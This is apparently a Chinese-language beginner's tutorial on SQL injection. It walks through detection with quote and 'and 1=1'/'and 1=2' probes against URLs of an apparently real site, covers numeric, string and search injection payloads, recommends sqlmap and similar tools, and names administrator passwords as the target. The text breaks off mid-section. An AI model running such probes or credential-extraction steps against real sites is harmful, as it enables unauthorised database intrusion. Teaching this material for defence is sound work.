SQL注入(初级)
Struct Query Language , 结构化查询语句 , 即方便从数据库调用数据而发明的语言 , 用于查询数据库里面储存的信息。
文章目录
注入: 前期可以理解为 查询 的意思 。
过程:将一个网站 ,理解为前端和后台 或者叫 “ 网页和数据库 ” , 我们进入一个网站就看见了 ” 网页 ” , 然后点击一个连接 , 比如” XXX新闻 “ 这时候就就来到另一个”网页”,其实我们刚刚那次点击就让”网页” 向数据库发送了一个请求( SQL语句 ) , 请求的内容就是” XXX新闻” , 然后数据库就把这条信息发给了 “网页” ,” 网页”就把信息呈现给了你。像这样的过程很容易就出现漏洞了 , 如果我们请求的不是XXX新闻 , 而是 ” 管理员密码 ”呢 ?
某个网站的登录验证的SQL查询代码为
strSQL = "SELECT * FROM users WHERE name = userName“
恶意填入
userName = select password from admin;
(一)SQL注入: 就是通过SQL语句对数据库里面的信息进行查询
1. 查询什么 ?
查询管理员的账号 , 密码 .
2. 什么时候可以进行SQL注入?
当存在SQL注入漏洞时候
3. 怎么知道这个网站是否存在SQL注入漏洞
:: 方法挺多 , 资料挺多 , 请学会自学 , 才能走的更远
(二)如何利用SQL注入漏洞?
工具 :
1 .啊D , 但是目前很难有它可以利用的存在漏洞的网站 , 不推荐使用 .
2 .穿山甲 , 明小子 相当于楼上的升级版 , 可以用用 .
3. SQLMAP: 神器 , 目前最好的注入工具 , 推荐使用kali Linux自带的sqlmap.
手工注入一般流程
1、判断是否注入。
2、判断显示字段。
3、查表名。
4、查字段名。
5、获取需要的信息(管理员用户名及密码)
1.第一步 简介
常用数据库
• ASP+access
• ASP+mssql
• PHP+mysql
比如这个链接http://www.19cn.com/showdetail.asp?id=49
在后面加单引号 ’ 后会服务器会返回下面错误
Microsoft JET Database Engine 错误 ‘80040e14’
字符串的语法错误 在查询表达式 ‘ID=49’’ 中。
/showdetail.asp,行8
通过以上可以看出
1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。
2.第二步 判断能否SQL注入
注入分为3种类型
- 数字型
ID=49 这类注入的参数是数字型,SQL语句原貌大致如下
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件] - 字符型
Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为
Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’ - 搜索型
keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
除了第一步的方法过于简单还有更多的方法去判断该点能否SQL注入还有很多其他的方法此章节将会动态更新
举例
数字型
1.http://www.19cn.com/showdetail.asp?id=49
2.http://www.19cn.com/showdetail.asp?id=49 and 1=1
3.http://www.19cn.com/showdetail.asp?id=49 and 1=2
字符型
2.http://www.19cn.com/showdetail.asp?Class=连续剧’ and ‘’=’
3.http://www.19cn.com/showdetail.asp?Class=连续剧’ and ‘2’=’
搜索型